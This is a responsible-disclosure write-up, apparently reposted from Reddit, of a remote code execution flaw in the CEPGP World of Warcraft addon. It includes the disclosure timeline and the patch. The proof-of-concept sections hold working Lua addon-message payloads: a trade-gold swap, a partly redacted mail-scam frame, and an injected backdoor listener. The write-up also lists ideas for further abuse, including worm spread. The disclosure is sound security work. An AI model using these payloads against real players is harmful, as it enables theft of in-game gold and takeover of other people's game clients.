World of Warcraft (WoW)

CEPGP Remote Code Execution exploit


Classic EPGP

CEPGP is a popular raid loot distribution addon created by Alumian. It has 670k+ downloads on Curseforge alone.

https://www.curseforge.com/wow/addons/cepgp

https://github.com/Alumian/CEPGP-Retail


Vulnerability

There is a serious remote code execution inside the addon from version 1.12.25.Release till version 1.13.1. Everyone who has the vulnerable version installed has a backdoor running. An attacker that can whisper to you to run arbitrary code inside your World of Warcraft Interface. The code is limited to what an addon can do, but it still allows various scenarios. No user interaction required. This makes it wormable. A vulnerable client can infect another client.


Problematic part

CEPGP version 1.12.25.Release introduced some checks for the communication, but with a bad practice. This way, an attacker can send a crafted addon message to the victim to run arbitrary Lua code on the victims client. The check is made with loadstring on the raw user input. No previous check is made (eg for channel), anyone can send this message. The exploit is silent, no user activity is required and can be run multiple times. The only limitation is that you cannot use ’;’ in your code. You can repeat the exploit multiple times for bigger codes. No addon required on attacker side.

The variable message is user input, the variable option is a substring of that, the second part when split with ’;’. Used via loadstring and that function is executed immediatly. Crafted user input allows code injection.

https://github.com/Alumian/CEPGP-Retail/commit/24d3cdc251cb7073ae2efbf39fc5c897c08dc75d#diff-39d89641ee01a8dab6455af6553170176d3e22c158d0cf71f30817153f7dfccd

function CEPGP_IncAddonMsg(message, sender, channel) ... local args = CEPGP_split(message, ";"); -- The broken down message, delimited by semi-colons ... if args<1> == "Import" then local option = args<2>; local valid = assert(loadstring("return type(CEPGP." .. option .. ");")); if not valid() then ... 

Proof of Concepts

The exploitation is just sending one or multiple addon messages to the victim via (addon) whisper. The crafted user input can follow the following scheme.

The type() returns string, so we can just append something to it that can be our code.

Import;GP)..<your code> 

To prevent errors, we close the line with comment and wrap code that returns something other than string in an another assert and loadstring or similar.

Import;GP)..(assert(loadstring("<your code>"))() or '') -- 

This would be appended and running the following code in the addon using the loadstring.

return type(CEPGP.GP)..(assert(loadstring("<your code>"))() or '') -- ); 

For longer payloads, the following can be used to exploit the targeted player. The next chapters will contain only the payload.

/run payload={} payload<1>="…" /run payload<2>="…" /run for i=1,#payload do C_ChatInfo.SendAddonMessage("CEPGP", "Import;GP)..(assert(loadstring(""..payload..""))() or '') -- ", "WHISPER", UnitName("target")) end 

Print

This is a basic check printing something in the client for demonstration to the targeted player if it has the vulnerable addon.

/run C_ChatInfo.SendAddonMessage("CEPGP", "Import;GP)..(print('Pwnd') or '') -- ", "WHISPER", UnitName("target")); 

Gold trade

The amount of gold can be changed in the trade window.

https://youtu.be/FNEhj2qCHRs

Just notice how the gold change is not visible on the victim’s side. You still have to accept the trade, but as it is not visible in the trade window or in backpack, a lot of people will just accept it. Imagine paying for a portal and taking all your money!

/run payload={} payload<1>="SetTradeMoney(GetMoney())" 

Mail scam

A frame can be created that is sending gold automatically when you open the mailbox, sending all your gold. Parts of the payload is redacted to prevent mass abuse.

https://youtu.be/V2I1P4ryClk

/run payload={} payload<1>="ScamRecipient='"..UnitName("player").."'" /run payload<2>="ScamF1=function() REDACTED end" /run payload<3>="ScamF2=function()SendMailNameEditBox:SetText(ScamRecipient)SendMailSubjectEditBox:SetText('g')end" /run payload<4>="ScamF3=function() REDACTED end" /run payload<5>="ScamFrame=CreateFrame('Frame')ScamFrame:RegisterEvent('MAIL_SHOW')ScamFrame:SetScript('OnEvent',function()ScamF1()ScamF2()ScamF3()end)" 

Backdoor PoC

Opening an another backdoor with an invisible frame listening to our commands. This is lost on exit or UI reload.

/run payload={} payload<1>="if not bd then bd=CreateFrame('button')bd:RegisterEvent('CHAT_MSG_ADDON')bd:SetScript('OnEvent',function(_,_,p,m)if(p=='backdoor')then assert(loadstring(m))()end end)end" /run payload<2>="C_ChatInfo.RegisterAddonMessagePrefix('backdoor')" 

Can be triggered by simply sending addon messages to the new listener.

/run C_ChatInfo.SendAddonMessage("backdoor", "print('shit')", "WHISPER", UnitName("target")); 

Another possibilites

There are various another possibilities ranging from mocking to some nefarius acts. Here are some ideas that came to my mind. The worst is that this vulnerability can be wormable, victims infecting new targets automatically.

  • Information gathering, like player location, gold, items, guild data
  • Reading chats
  • Obscuring vision with big black screen
  • Removing buffs
  • Kicking from guild
  • Guild disband
  • Changing guild notes, like EPGP standing
  • Changing items in trade window
  • Accepting trade (there is another dialog if gold is involved, that is protected)

Patch

A proposed fix was sent to the developer with the initial notification which should have the same functionality but without the vulnerablilty.

- local valid = assert(loadstring("return type(CEPGP." .. option .. ");")); - if not valid() then - return; - end + local node = CEPGP + local tmp = CEPGP_split(option, "."); + for i = 1, #tmp do + node = node> + if node==nil then + return + end + end 

While the developer chose not to use my proposed fix, but use his own. This should be as good as the other. He fixed the addon on Curseforge and released a new version there.

- local valid = assert(loadstring("return type(CEPGP." .. option .. ");")); - if not valid() then - return; - end + if not CEPGP

Timeline

    1. 02. Vulnerability commited to the CEPGP-Retail repository.
    1. 02. Vulnerability found.
    1. 02. Developer was notified on Discord. Reply in a few mins, but no ETA. Proposed fix was sent as well.
    1. 09. Reaching out to Blizzard ingame support to come up with some mitigations, like filtering the addon messages server side or baning CEPGP temporarily on client side. Reply next day that I should email to them at <Hacks@blizzard.com>(mailto:Hacks@blizzard.com) .
    1. 10. Email sent to Blizzard as customer support recommended. No reply since.
    1. 16. Requesting update from developer. Replied quickly but still no ETA. Mentioning disclosure is planned at the beginning of January.
    1. 01. Requesting update from developer, sending the draft version of the disclosure and asking if a fix is on the way or not for some more grace period. Reply is that I should leave him alone and not giving him deadline, plus baning me from Discord.
    1. 02. Addon patched on Curseforge.
    1. 03. Public disclosure.

Personal notes

Considering the impact and the difficulty the fix, including the upcoming Holidays, I opted to a 30 days disclosure about the addon. The developer was notified 2 weeks later after the initial contact with this information.

The following is just wild speculation and might be not true at all. Based on the communication with the developer, I have 2 theories what might have happened.

He has personal problems unrelated to the addon, making him very stressed. This made him handle the situation very badly. I don’t think a mistake like this should be a reason to be embarassed or being hostile. It should be more public and transparent so others can learn from it as well. I find this explanation more likely. Unfortunatelly this negative experience might mean the end of this addon, so please support him with the further development. I want to thank him for the patch here, as I was unable to do on Discord after the ban.

The other theory is that this might have been an intentional backdoor. Considering that the vulnerability was not fixed for many days, waiting till the last few days before disclosure, despite the fix was minimal. The excuses and hostility could have been a charade, and I received my ban as well. These made me consider this option as well.

Source: reddit.com

Similar Guides


More about World of Warcraft (WoW)

Post: "CEPGP Remote Code Execution exploit" specifically for the game World of Warcraft (WoW). Other useful information about this game:


Top 7 NEW Games of February 2021

Looking for something new to play on PC, PS5, PS4, Xbox, or Nintendo Switch in February 2021? Here are the notable video game releases.





Top 20 NEW Open World Games of 2021

2021 will bring us tons of open world games for PC, PS5, Xbox Series X, PS4, Switch, and beyond. Here's what we're looking forward to.


You Might Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *